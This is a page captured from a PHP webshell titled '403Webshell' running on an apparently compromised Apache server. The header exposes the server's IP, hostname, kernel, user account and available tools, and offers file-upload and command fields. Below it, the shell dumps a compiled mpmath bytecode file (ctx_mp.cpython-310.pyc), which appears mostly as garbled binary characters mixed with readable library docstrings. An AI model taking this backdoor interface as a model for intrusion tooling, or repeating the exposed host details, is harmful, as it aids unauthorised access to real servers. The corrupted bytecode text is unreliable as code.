403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/mpmath/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mpmath/__pycache__/ctx_mp.cpython-310.pyc
o

�tVa,��@s`dZdZddlZddlZddlmZddlmZmZddl	m
Z
ddl
mZmZm
Z
mZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z<m=Z=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZImJZJmKZKmLZLmMZMmNZNmOZOmPZPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^mZdd	l	m_Z_dd
l	m`Z`eajbZce�dd�Zeedkr�dd
lfmgZhddlfmimjmkZlnddlmmnZhddl	mmZlddlmmoZompZpmqZqGdd�dehe�ZrGdd�d�Zsetdk�r.ddluZueu�v�dSdS)z[
This module defines the mpf, mpc classes, and standard functions for
operating with them.
�	plaintext�N�)�StandardBaseContext)�
basestring�BACKEND)�libmp)U�MPZ�MPZ_ZERO�MPZ_ONE�	int_types�repr_dps�round_floor�
round_ceiling�dps_to_prec�
round_nearest�prec_to_dps�
ComplexResult�to_pickable�
from_pickable�	normalize�from_int�
from_float�from_str�to_int�to_float�to_str�
from_rational�from_man_exp�fone�fzero�finf�fninf�fnan�mpf_abs�mpf_pos�mpf_neg�mpf_add�mpf_sub�mpf_mul�mpf_mul_int�mpf_div�mpf_rdiv_int�mpf_pow_int�mpf_mod�mpf_eq�mpf_cmp�mpf_lt�mpf_gt�mpf_le�mpf_ge�mpf_hash�mpf_rand�mpf_sum�bitcount�to_fixed�
mpc_to_str�mpc_to_complex�mpc_hash�mpc_pos�mpc_is_nonzero�mpc_neg�
mpc_conjugate�mpc_abs�mpc_add�mpc_add_mpf�mpc_sub�mpc_sub_mpf�mpc_mul�mpc_mul_mpf�mpc_mul_int�mpc_div�mpc_div_mpf�mpc_pow�mpc_pow_mpf�mpc_pow_int�mpc_mpf_div�mpf_pow�mpf_pi�
mpf_degree�mpf_e�mpf_phi�mpf_ln2�mpf_ln10�	mpf_euler�mpf_catalan�	mpf_apery�mpf_khinchin�mpf_glaisher�
mpf_twinprime�mpf_mertensr)�
function_docs)�rationalz\^\(?(?P<re>[\+\-]?\d*(\.\d*)?(e[\+\-]?\d+)?)??(?P<im>[\+\-]?\d*(\.\d*)?(e[\+\-]?\d+)?j)?\)?$�sage)�Context)�PythonMPContext)�
ctx_mp_python)�_mpf�_mpc�	mpnumericc@s�eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdmdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zed/d0��Zed1d2��Zdnd4d5�Zdnd6d7�Zdnd8d9�Zdnd:d;�Z dod>d?�Z!dpdAdB�Z"dCdD�Z#dEdF�Z$dGdH�Z%dIZ&dJZ'dqdLdM�Z(dNdO�Z)dPdQ�Z*dRdS�Z+dTdU�Z,dVdW�Z-dXdY�Z.dZd[�Z/d\d]�Z0d^d_�Z1d`da�Z2dbdc�Z3ddde�Z4dfdg�Z5dhdi�Z6	djgd3fdkdl�Z7d<S)r�	MPContextzH
    Context for multiprecision arithmetic with a global precision.
    cCs�t�|�d|_d|_|j|j|jg|_tj	|_
|��t�|�tj	|_	|�
�i|_|��ztj|jj_tj|jj_tj|jj_tj|jj_Wn!tyktj|jj_tj|jj_tj|jj_tj|jj_Ynwtj|j_tj|j_tj|j_dS�NF)�
BaseMPContext�__init__�trap_complex�pretty�mpf�mpc�constant�typesr]�mpq�_mpq�defaultr�
init_builtins�
hyp_summators�
_init_aliasesr\�	bernoulli�im_func�func_doc�primepi�psi�atan2�AttributeError�__func__�digamma�cospi�sinpi��ctx�r��//usr/lib/python3/dist-packages/mpmath/ctx_mp.pyrh?s2

�

zMPContext.__init__cCs�|j}|j}|�t�|_|�t�|_|�ttf�|_|�t	�|_
|�t�|_|�t
�|_|�dd�dd�}||_|�tdd�|_|�tdd�|_|�tdd	�|_|�td
d�|_|�tdd
�|_|�tdd�|_|�tdd�|_|�tdd�|_ |�t!dd�|_"|�t#dd�|_$|�t%dd�|_&|�t'dd�|_(|�t)dd�|_*|�+t,j-t,j.�|_/|�+t,j0t,j1�|_2|�+t,j3t,j4�|_5|�+t,j6t,j7�|_8|�+t,j9t,j:�|_;|�+t,j<t,j=�|_>|�+t,j?t,j@�|_A|�+t,jBt,jC�|_D|�+t,jEt,jF�|_G|�+t,jHt,jI�|_J|�+t,jKt,jL�|_M|�+t,jNt,jO�|_P|�+t,jQt,jR�|_S|�+t,jTt,jU�|_V|�+t,jWt,jX�|_Y|�+t,j6t,j7�|_8|�+t,jZt,j[�|_\|�+t,j]t,j^�|__|�+t,j`t,ja�|_b|�+t,jct,jd�|_e|�+t,jft,jg�|_h|�+t,jit,jj�|_k|�+t,jlt,jm�|_n|�+t,jot,jp�|_q|�+t,jrt,js�|_t|�+t,jut,jv�|_w|_x|�+t,jyt,jz�|_{|�+t,j|t,j}�|_~|�+t,jt,j��|_�|�+t,j�t,j��|_�|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�|�+t,j�d�|_�|�+t,j�d�|_�|�+t,j�t,j��|_�|�+t,j�t,j��|_�t�|d|j/�|_/t�|d|j;�|_;t�|d |j5�|_5t�|d!|jG�|_Gt�|d"|jD�|_DdS)#NcSsdtd|dfS)Nrr)r
��prec�rndr�r�r��<lambda>msz)MPContext.init_builtins.<locals>.<lambda>zepsilon of working precision�eps�pizln(2)�ln2zln(10)�ln10zGolden ratio phi�phiz
e = exp(1)�ezEuler's constant�eulerzCatalan's constant�catalanzKhinchin's constant�khinchinzGlaisher's constant�glaisherzApery's constant�aperyz1 deg = pi / 180�degreezTwin prime constant�	twinprimezMertens' constant�mertens�
_sage_sqrt�	_sage_exp�_sage_ln�	_sage_cos�	_sage_sin)�rkrl�make_mpfr�oner�zero�make_mpc�jr �infr!�ninfr"�nanrmr�rOr�rSr�rTr�rRr�rQr�rUr�rVr�rXr�rYr�rWr�rPr�rZr�r[r��_wrap_libmp_functionr�mpf_sqrt�mpc_sqrt�sqrt�mpf_cbrt�mpc_cbrt�cbrt�mpf_log�mpc_log�ln�mpf_atan�mpc_atan�atan�mpf_exp�mpc_exp�exp�mpf_expj�mpc_expj�expj�
mpf_expjpi�
mpc_expjpi�expjpi�mpf_sin�mpc_sin�sin�mpf_cos�mpc_cos�cos�mpf_tan�mpc_tan�tan�mpf_sinh�mpc_sinh�sinh�mpf_cosh�mpc_cosh�cosh�mpf_tanh�mpc_tanh�tanh�mpf_asin�mpc_asin�asin�mpf_acos�mpc_acos�acos�	mpf_asinh�	mpc_asinh�asinh�	mpf_acosh�	mpc_acosh�acosh�	mpf_atanh�	mpc_atanh�atanh�
mpf_sin_pi�
mpc_sin_pir�
mpf_cos_pi�
mpc_cos_pir~�	mpf_floor�	mpc_floor�floor�mpf_ceil�mpc_ceil�ceil�mpf_nint�mpc_nint�nint�mpf_frac�mpc_frac�frac�
mpf_fibonacci�
mpc_fibonacci�fib�	fibonacci�	mpf_gamma�	mpc_gamma�gamma�
mpf_rgamma�
mpc_rgamma�rgamma�mpf_loggamma�mpc_loggamma�loggamma�
mpf_factorial�
mpc_factorial�fac�	factorial�mpf_psi0�mpc_psi0r}�mpf_harmonic�mpc_harmonic�harmonic�mpf_ei�mpc_ei�ei�mpf_e1�mpc_e1�e1�mpf_ci�mpc_ci�_ci�mpf_si�mpc_si�_si�
mpf_ellipk�
mpc_ellipk�ellipk�
mpf_ellipe�
mpc_ellipe�_ellipe�mpf_agm1�mpc_agm1�agm1�mpf_erf�_erf�mpf_erfc�_erfc�mpf_zeta�mpc_zeta�_zeta�mpf_altzeta�mpc_altzeta�_altzeta�getattr)r�rkrlr�r�r�r�rr`s�
�zMPContext.init_builtinscCs
|�|�S�N)r8)r��xr�r�r�r�r8�s
zMPContext.to_fixedcCs4|�|�}|�|�}|�tj|j|jg|j�R��S)z�
        Computes the Euclidean norm of the vector `(x, y)`, equal
        to `\sqrt{x^2 + y^2}`. Both `x` and `y` must be real.)�convertr�r�	mpf_hypot�_mpf_�_prec_rounding)r�r!�yr�r�r��hypot�s

 zMPContext.hypotcCsrt|�|��}|dkr|�|�St|d�st�|j\}}tj||j||dd�\}}|dur2|�	|�S|�
||f�S)Nrr$T)r�)�int�_rer�hasattr�NotImplementedErrorr%r�
mpf_expintr$r�r��r��n�zr��rounding�real�imagr�r�r��_gamma_upper_int�s



zMPContext._gamma_upper_intcCsht|�}|dkr
|�|�St|d�st�|j\}}t�||j||�\}}|dur-|�|�S|�	||f�S)Nrr$)
r(rr*r+r%rr,r$r�r�r-r�r�r��_expint_int�s



zMPContext._expint_intcCstt|d�r)z|�tj|j|g|j�R��WSty(|jr �|jtjf}Ynw|j	}|�
tj||g|j�R��S�Nr$)r*r�r�mpf_nthrootr$r%rrir�_mpc_r��mpc_nthroot�r�r!r.r�r�r��_nthroot�s
 �zMPContext._nthrootcCsR|j\}}t|d�r|�t�||j||��St|d�r'|�t�||j||��SdS�Nr$r7)	r%r*r�r�mpf_besseljnr$r��mpc_besseljnr7)r�r.r/r�r0r�r�r��_besselj�s


�zMPContext._besseljrcCs�|j\}}t|d�r)t|d�r)zt�|j|j||�}|�|�WSty(Ynwt|d�r5|jtjf}n|j}t|d�rD|jtjf}n|j}|�	t�
||||��Sr5)r%r*r�mpf_agmr$r�rrr7r��mpc_agm)r��a�br�r0�vr�r�r��_agm�s
�zMPContext._agmcC�|�tjt|�g|j�R��Sr )r�r�
mpf_bernoullir(r%�r�r.r�r�r�ru��zMPContext.bernoullicCrEr )r�r�mpf_zeta_intr(r%rGr�r�r��	_zeta_int�rHzMPContext._zeta_intcCs4|�|�}|�|�}|�tj|j|jg|j�R��Sr )r"r�r�	mpf_atan2r$r%)r�r&r!r�r�r�rzs

 zMPContext.atan2cCsX|�|�}t|�}|�|�r|�tj||jg|j�R��S|�tj	||j
g|j�R��Sr )r"r(�
_is_real_typer�r�mpf_psir$r%r��mpc_psir7)r��mr/r�r�r�rys


z
MPContext.psicK�t|�|jvr|�|�}|�|�\}}t|d�r,t�|j||�\}}|�|�|�|�fSt|d�rEt�	|j
||�\}}|�|�|�|�fS|j|fi|��|j
|fi|��fSr;)�typernr"�_parse_precr*r�mpf_cos_sinr$r��mpc_cos_sinr7r�r�r��r�r!�kwargsr�r0�c�sr�r�r��cos_sin�


$zMPContext.cos_sincKrPr;)rQrnr"rRr*r�mpf_cos_sin_pir$r��mpc_cos_sin_pir7r�r�r�rUr�r�r��cospi_sinpirZzMPContext.cospi_sinpicCs|��}|j|_|S)zP
        Create a copy of the context, with the same working precision.
        )�	__class__r�)r�rAr�r�r��clone)szMPContext.clonecC�t|d�st|�tur
dSdS)Nr7FT�r*rQ�complex�r�r!r�r�r�rL4�zMPContext._is_real_typecCr`)Nr7TFrarcr�r�r��_is_complex_type9rdzMPContext._is_complex_typecCsrt|d�r
|jtkSt|d�rt|jvSt|t�st|tj�r!dS|�|�}t|d�s0t|d�r5|�	|�St
d��)a�
        Return *True* if *x* is a NaN (not-a-number), or for a complex
        number, whether either the real or complex part is NaN;
        otherwise return *False*::

            >>> from mpmath import *
            >>> isnan(3.14)
            False
            >>> isnan(nan)
            True
            >>> isnan(mpc(3.14,2.72))
            False
            >>> isnan(mpc(3.14,nan))
            True

        r$r7Fzisnan() needs a number as input)r*r$r"r7�
isinstancerr]ror"�isnan�	TypeErrorrcr�r�r�rg>s





zMPContext.isnancCs|�|�s
|�|�rdSdS)a�
        Return *True* if *x* is a finite number, i.e. neither
        an infinity or a NaN.

            >>> from mpmath import *
            >>> isfinite(inf)
            False
            >>> isfinite(-inf)
            False
            >>> isfinite(3)
            True
            >>> isfinite(nan)
            False
            >>> isfinite(3+4j)
            True
            >>> isfinite(mpc(3,inf))
            False
            >>> isfinite(mpc(nan,3))
            False

        FT)�isinfrgrcr�r�r��isfiniteZszMPContext.isfinitecCs�|sdSt|d�r|j\}}}}|o|dkSt|d�r%|jo$|�|j�St|�tvr/|dkSt||j�rF|j	\}}|s>dS|dkoE|dkS|�|�
|��S)z<
        Determine if *x* is a nonpositive integer.
        Tr$rr7r)r*r$r2�isnpintr1rQrrfro�_mpq_r")r�r!�sign�manr��bc�p�qr�r�r�rkts


zMPContext.isnpintcCsFdd|j�d�dd|j�d�dd|j�d�dg}d	�|�S)
NzMpmath settings:z  mp.prec = %s�z
[default: 53]z
  mp.dps = %sz
[default: 15]z  mp.trap_complex = %sz[default: False]�
)r��ljust�dpsri�join)r��linesr�r�r��__str__�s�
zMPContext.__str__cCs
t|j�Sr )r�_precr�r�r�r��_repr_digits�s
zMPContext._repr_digitscCs|jSr )�_dpsr�r�r�r��_str_digits�szMPContext._str_digitsFc�t|�fdd�d|�S)a�
        The block

            with extraprec(n):
                <code>

        increases the precision n bits, executes <code>, and then
        restores the precision.

        extraprec(n)(f) returns a decorated version of the function f
        that increases the working precision by n bits before execution,
        and restores the parent precision afterwards. With
        normalize_output=True, it rounds the return value to the parent
        precision.
        c�|�Sr r��rp�r.r�r�r���z%MPContext.extraprec.<locals>.<lambda>N��PrecisionManager�r�r.�normalize_outputr�r�r��	extraprec�szMPContext.extraprecc�t|d�fdd�|�S)z�
        This function is analogous to extraprec (see documentation)
        but changes the decimal precision instead of the number of bits.
        Ncr~r r���dr�r�r�r��r�z$MPContext.extradps.<locals>.<lambda>r�r�r�r�r��extradps��zMPContext.extradpscr})a�
        The block

            with workprec(n):
                <code>

        sets the precision to n bits, executes <code>, and then restores
        the precision.

        workprec(n)(f) returns a decorated version of the function f
        that sets the precision to n bits before execution,
        and restores the precision afterwards. With normalize_output=True,
        it rounds the return value to the parent precision.
        c��Sr r�rr�r�r�r���z$MPContext.workprec.<locals>.<lambda>Nr�r�r�r�r��workprec�szMPContext.workpreccr�)z�
        This function is analogous to workprec (see documentation)
        but changes the decimal precision instead of the number of bits.
        Ncr�r r�r�r�r�r�r��r�z#MPContext.workdps.<locals>.<lambda>r�r�r�r�r��workdps�r�zMPContext.workdpsNr�cs�����fdd�}|S)a�

        Return a wrapped copy of *f* that repeatedly evaluates *f*
        with increasing precision until the result converges to the
        full precision used at the point of the call.

        This heuristically protects against rounding errors, at the cost of
        roughly a 2x slowdown compared to manually setting the optimal
        precision. This method can, however, easily be fooled if the results
        from *f* depend "discontinuously" on the precision, for instance
        if catastrophic cancellation can occur. Therefore, :func:`~mpmath.autoprec`
        should be used judiciously.

        **Examples**

        Many functions are sensitive to perturbations of the input arguments.
        If the arguments are decimal numbers, they may have to be converted
        to binary at a much higher precision. If the amount of required
        extra precision is unknown, :func:`~mpmath.autoprec` is convenient::

            >>> from mpmath import *
            >>> mp.dps = 15
            >>> mp.pretty = True
            >>> besselj(5, 125 * 10**28)    # Exact input
            -8.03284785591801e-17
            >>> besselj(5, '1.25e30')   # Bad
            7.12954868316652e-16
            >>> autoprec(besselj)(5, '1.25e30')   # Good
            -8.03284785591801e-17

        The following fails to converge because `\sin(\pi) = 0` whereas all
        finite-precision approximations of `\pi` give nonzero values::

            >>> autoprec(sin)(pi) # doctest: +IGNORE_EXCEPTION_DETAIL
            Traceback (most recent call last):
              ...
            NoConvergence: autoprec: prec increased to 2910 without convergence

        As the following example shows, :func:`~mpmath.autoprec` can protect against
        cancellation, but is fooled by too severe cancellation::

            >>> x = 1e-10
            >>> exp(x)-1; expm1(x); autoprec(lambda t: exp(t)-1)(x)
            1.00000008274037e-10
            1.00000000005e-10
            1.00000000005e-10
            >>> x = 1e-50
            >>> exp(x)-1; expm1(x); autoprec(lambda t: exp(t)-1)(x)
            0.0
            1.0e-50
            0.0

        With *catch*, an exception or list of exceptions to intercept
        may be specified. The raised exception is interpreted
        as signaling insufficient precision. This permits, for example,
        evaluating a function where a too low precision results in a
        division by zero::

            >>> f = lambda x: 1/(exp(x)-1)
            >>> f(1e-30)
            Traceback (most recent call last):
              ...
            ZeroDivisionError
            >>> autoprec(f, catch=ZeroDivisionError)(1e-30)
            1.0e+30


        cs2�j}�dur
��|�}n�}z�|d�_z	�|i|��}Wn�y*�j}Ynw|d}	|�_z	�|i|��}Wn�yH�j}Ynw||krNn9��||���|�}||kr`n.�rltd|||f�|}||kry��d|��|t|d�7}t||�}q0W|�_|
SW|�_|
S|�_w)N�
�rz)autoprec: target=%s, prec=%s, accuracy=%sz2autoprec: prec increased to %i without convergence�)r��_default_hyper_maxprecr��mag�print�
NoConvergencer(�min)�argsrVr��maxprec2�v1�prec2�v2�err��catchr��f�maxprec�verboser�r��f_autoprec_wrapped
sZ

�
�

���
���z.MPContext.autoprec.<locals>.f_autoprec_wrappedr�)r�r�r�r�r�r�r�r�r��autoprec�sD%zMPContext.autoprec�cs�t|t�rdd����fdd�|D��St|t�r*dd����fdd�|D��St|d�r9t|j�fi���St|d�rLd	t|j�fi���d
St|t	�rUt
|�St|�j�rd|j�fi���St
|�S)a3
        Convert an ``mpf`` or ``mpc`` to a decimal string literal with *n*
        significant digits. The small default value for *n* is chosen to
        make this function useful for printing collections of numbers
        (lists, matrices, etc).

        If *x* is a list or tuple, :func:`~mpmath.nstr` is applied recursively
        to each element. For unrecognized classes, :func:`~mpmath.nstr`
        simply returns ``str(x)``.

        The companion function :func:`~mpmath.nprint` prints the result
        instead of returning it.

        The keyword arguments *strip_zeros*, *min_fixed*, *max_fixed*
        and *show_zero_exponent* are forwarded to :func:`~mpmath.libmp.to_str`.

        The number will be printed in fixed-point format if the position
        of the leading digit is strictly between min_fixed
        (default = min(-dps/3,-5)) and max_fixed (default = dps).

        To force fixed-point format always, set min_fixed = -inf,
        max_fixed = +inf. To force floating-point format, set
        min_fixed >= max_fixed.

            >>> from mpmath import *
            >>> nstr([+pi, ldexp(1,-500)])
            '[3.14159, 3.05494e-151]'
            >>> nprint([+pi, ldexp(1,-500)])
            [3.14159, 3.05494e-151]
            >>> nstr(mpf("5e-10"), 5)
            '5.0e-10'
            >>> nstr(mpf("5e-10"), 5, strip_zeros=False)
            '5.0000e-10'
            >>> nstr(mpf("5e-10"), 5, strip_zeros=False, min_fixed=-11)
            '0.00000000050000'
            >>> nstr(mpf(0), 5, show_zero_exponent=True)
            '0.0e+0'

        z[%s]z, c3�$�|]
}�j|�fi���VqdSr ��nstr��.0rW�r�rVr.r�r��	<genexpr>]��"z!MPContext.nstr.<locals>.<genexpr>z(%s)c3r�r r�r�r�r�r�r�_r�r$r7�(�))rf�listrv�tupler*rr$r9r7r�repr�matrix�__nstr__�str)r�r!r.rVr�r�r�r�4s
( 
 


zMPContext.nstrcCs�|r7t|t�r7d|��vr7|���dd�}t�|�}|�d�}|s#d}|�d��d�}|�|�	|�|�	|��St
|d�rN|j\}}||krJ|�|�St
d��td	t|���)
Nr�� ��rer�im�_mpi_z,can only create mpf from zero-width intervalzcannot create mpf from )rfr�lower�replace�get_complex�match�group�rstriprlr"r*r�r��
ValueErrorrhr�)r�r!�stringsr�r�r�rArBr�r�r��_convert_fallbackjs




zMPContext._convert_fallbackcOs|j|i|��Sr )r")r�r�rVr�r�r��	mpmathify|szMPContext.mpmathifycCs�|rD|�d�r	dS|j\}}d|vr|d}d|vr-|d}||jkr%dSt|�}||fSd|vr@|d}||jkr<dSt|�}||fS|jS)N�exact)rr�r0r�ru)�getr%r�r(r)r�rVr�r0rur�r�r�rRs&


�
zMPContext._parse_precz'the exact result does not fit in memoryz�hypsum() failed to converge to the requested %i bits of accuracy
using a working precision of %i bits. Try with a higher maxprec,
maxterms, or set zeroprec.Tc!Ks�t|d�r|||df}|j}	nt|d�r|||df}|j}	||jvr,t�|�d|j|<|j|}
|j}|�d|�|��}d}
d}i}d	}t	|�D]s\}}||d
kr�||kr�|d	kr�d}t	|d|��D]\}}||d
kry|d	kry||kryd}qe|s�t
d
��qI|�|�\}}t|�}|}||kr�|d	kr�|dkr�||vr�|||7<n|||<t
|
||d�}
|t|�7}qI	|
|kr�t|j|||
f��||
}|r�tdd�|D��}ni}|
||	||||fi|��\}}}|}d}|
|k�r|��D]}|du�s	||k�r
d}nq�||
ddk�p|}|�r;|�r!n'|�d�} | du�r;|| k�r;|�r8|�d	�S|jS|
d9}
|d7}|
d7}
q�t|�tu�r\|�rW|�|�S|�|�S|S)Nr$�Rr7�Crr��2�r�ZFTzpole in hypergeometric series��<css�|]}|dfVqdSr r�)r�r.r�r�r�r��s�z#MPContext.hypsum.<locals>.<genexpr>��zeroprecr�)r*r$r7rsr�make_hyp_summatorr�r�r��	enumerate�ZeroDivisionError�
nint_distancer(�max�absr��_hypsum_msg�dict�valuesrlr�rQr�r�r�)!r�rprq�flags�coeffsr/�accurate_smallrV�keyrC�summatorr�r�r��epsshift�magnitude_check�max_total_jump�irW�ok�ii�ccr.r��wp�mag_dict�zv�have_complex�	magnitude�cancel�jumps_resolved�accurater�r�r�r��hypsum�s�



�

��
�



�%

zMPContext.hypsumcCs|�|�}|�t�|j|��S)a�
        Computes `x 2^n` efficiently. No rounding is performed.
        The argument `x` must be a real floating-point number (or
        possible to convert into one) and `n` must be a Python ``int``.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> ldexp(1, 10)
            mpf('1024.0')
            >>> ldexp(1, -3)
            mpf('0.125')

        )r"r�r�	mpf_shiftr$r9r�r�r��ldexp�s
zMPContext.ldexpcCs(|�|�}t�|j�\}}|�|�|fS)a=
        Given a real number `x`, returns `(y, n)` with `y \in [0.5, 1)`,
        `n` a Python integer, and such that `x = y 2^n`. No rounding is
        performed.

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> frexp(7.5)
            (mpf('0.9375'), 3)

        )r"r�	mpf_frexpr$r�)r�r!r&r.r�r�r��frexps
zMPContext.frexpcKs\|�|�\}}|�|�}t|d�r|�t|j||��St|d�r*|�t|j||��St	d��)a�
        Negates the number *x*, giving a floating-point result, optionally
        using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        An mpmath number is returned::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fneg(2.5)
            mpf('-2.5')
            >>> fneg(-5+2j)
            mpc(real='5.0', imag='-2.0')

        Precise control over rounding is possible::

            >>> x = fadd(2, 1e-100, exact=True)
            >>> fneg(x)
            mpf('-2.0')
            >>> fneg(x, rounding='f')
            mpf('-2.0000000000000004')

        Negating with and without roundoff::

            >>> n = 200000000000000000000001
            >>> print(int(-mpf(n)))
            -200000000000000016777216
            >>> print(int(fneg(n)))
            -200000000000000016777216
            >>> print(int(fneg(n, prec=log(n,2)+1)))
            -200000000000000000000001
            >>> print(int(fneg(n, dps=log(n,10)+1)))
            -200000000000000000000001
            >>> print(int(fneg(n, prec=inf)))
            -200000000000000000000001
            >>> print(int(fneg(n, dps=inf)))
            -200000000000000000000001
            >>> print(int(fneg(n, exact=True)))
            -200000000000000000000001

        r$r7�2Arguments need to be mpf or mpc compatible numbers)
rRr"r*r�r%r$r�r>r7r�)r�r!rVr�r0r�r�r��fnegs.


zMPContext.fnegc	K�|�|�\}}|�|�}|�|�}z\t|d�r;t|d�r)|�t|j|j||��WSt|d�r;|�t|j|j||��WSt|d�rdt|d�rR|�t|j|j||��WSt|d�ri|�t	|j|j||��WSWt
d��Wt
d��t
tfy{t|j��w)a�
        Adds the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        The default precision is the working precision of the context.
        You can specify a custom precision in bits by passing the *prec* keyword
        argument, or by providing an equivalent decimal precision with the *dps*
        keyword argument. If the precision is set to ``+inf``, or if the flag
        *exact=True* is passed, an exact addition with no rounding is performed.

        When the precision is finite, the optional *rounding* keyword argument
        specifies the direction of rounding. Valid options are ``'n'`` for
        nearest (default), ``'f'`` for floor, ``'c'`` for ceiling, ``'d'``
        for down, ``'u'`` for up.

        **Examples**

        Using :func:`~mpmath.fadd` with precision and rounding control::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fadd(2, 1e-20)
            mpf('2.0')
            >>> fadd(2, 1e-20, rounding='u')
            mpf('2.0000000000000004')
            >>> nprint(fadd(2, 1e-20, prec=100), 25)
            2.00000000000000000001
            >>> nprint(fadd(2, 1e-20, dps=15), 25)
            2.0
            >>> nprint(fadd(2, 1e-20, dps=25), 25)
            2.00000000000000000001
            >>> nprint(fadd(2, 1e-20, exact=True), 25)
            2.00000000000000000001

        Exact addition avoids cancellation errors, enforcing familiar laws
        of numbers such as `x+y-x = y`, which don't hold in floating-point
        arithmetic with finite precision::

            >>> x, y = mpf(2), mpf('1e-1000')
            >>> print(x + y - x)
            0.0
            >>> print(fadd(x, y, prec=inf) - x)
            1.0e-1000
            >>> print(fadd(x, y, exact=True) - x)
            1.0e-1000

        Exact addition can be inefficient and may be impossible to perform
        with large magnitude differences::

            >>> fadd(1, '1e-100000000000000000000', prec=inf)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r$r7r�)
rRr"r*r�r&r$r�rBr7rAr��
OverflowError�_exact_overflow_msg�r�r!r&rVr�r0r�r�r��faddFs*8







���
�zMPContext.faddc	Ks�|�|�\}}|�|�}|�|�}z^t|d�r=t|d�r)|�t|j|j||��WSt|d�r=|�t|jtf|j	||��WSt|d�rft|d�rT|�t
|j	|j||��WSt|d�rk|�t|j	|j	||��WSWtd��Wtd��ttfy}t|j
��w)a�
        Subtracts the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        Using :func:`~mpmath.fsub` with precision and rounding control::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fsub(2, 1e-20)
            mpf('2.0')
            >>> fsub(2, 1e-20, rounding='d')
            mpf('1.9999999999999998')
            >>> nprint(fsub(2, 1e-20, prec=100), 25)
            1.99999999999999999999
            >>> nprint(fsub(2, 1e-20, dps=15), 25)
            2.0
            >>> nprint(fsub(2, 1e-20, dps=25), 25)
            1.99999999999999999999
            >>> nprint(fsub(2, 1e-20, exact=True), 25)
            1.99999999999999999999

        Exact subtraction avoids cancellation errors, enforcing familiar laws
        of numbers such as `x-y+y = x`, which don't hold in floating-point
        arithmetic with finite precision::

            >>> x, y = mpf(2), mpf('1e1000')
            >>> print(x - y + y)
            0.0
            >>> print(fsub(x, y, prec=inf) + y)
            2.0
            >>> print(fsub(x, y, exact=True) + y)
            2.0

        Exact addition can be inefficient and may be impossible to perform
        with large magnitude differences::

            >>> fsub(1, '1e-100000000000000000000', prec=inf)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r$r7r�)rRr"r*r�r'r$r�rCrr7rDr�r�r�r�r�r�r��fsub�s*0







���
�zMPContext.fsubc	Kr�)a�
        Multiplies the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

        **Examples**

        The result is an mpmath number::

            >>> from mpmath import *
            >>> mp.dps = 15; mp.pretty = False
            >>> fmul(2, 5.0)
            mpf('10.0')
            >>> fmul(0.5j, 0.5)
            mpc(real='0.0', imag='0.25')

        Avoiding roundoff::

            >>> x, y = 10**10+1, 10**15+1
            >>> print(x*y)
            10000000001000010000000001
            >>> print(mpf(x) * mpf(y))
            1.0000000001e+25
            >>> print(int(mpf(x) * mpf(y)))
            10000000001000011026399232
            >>> print(int(fmul(x, y)))
            10000000001000011026399232
            >>> print(int(fmul(x, y, dps=25)))
            10000000001000010000000001
            >>> print(int(fmul(x, y, exact=True)))
            10000000001000010000000001

        Exact multiplication with complex numbers can be inefficient and may
        be impossible to perform with large magnitude differences between
        real and imaginary parts::

            >>> x = 1+2j
            >>> y = mpc(2, '1e-100000000000000000000')
            >>> fmul(x, y)
            mpc(real='2.0', imag='4.0')
            >>> fmul(x, y, rounding='u')
            mpc(real='2.0', imag='4.0000000000000009')
            >>> fmul(x, y, exact=True)
            Traceback (most recent call last):
              ...
            OverflowError: the exact result does not fit in memory

        r$r7r�)
rRr"r*r�r(r$r�rFr7rEr�r�r�r�r�r�r��fmul�s*3







���
�zMPContext.fmulcKs�|�|�\}}|s
td��|�|�}|�|�}t|d�r@t|d�r-|�t|j|j||��St|d�r@|�t|jt	f|j
||��St|d�rgt|d�rV|�t|j
|j||��St|d�rg|�t|j
|j
||��Std��)a�
        Divides the numbers *x* and *y*, giving a floating-point result,
        optionally using a custom precision and rounding mode.

        See the documentation of :func:`~mpmath.fadd` for a detailed description
        of how to specify precision and rounding.

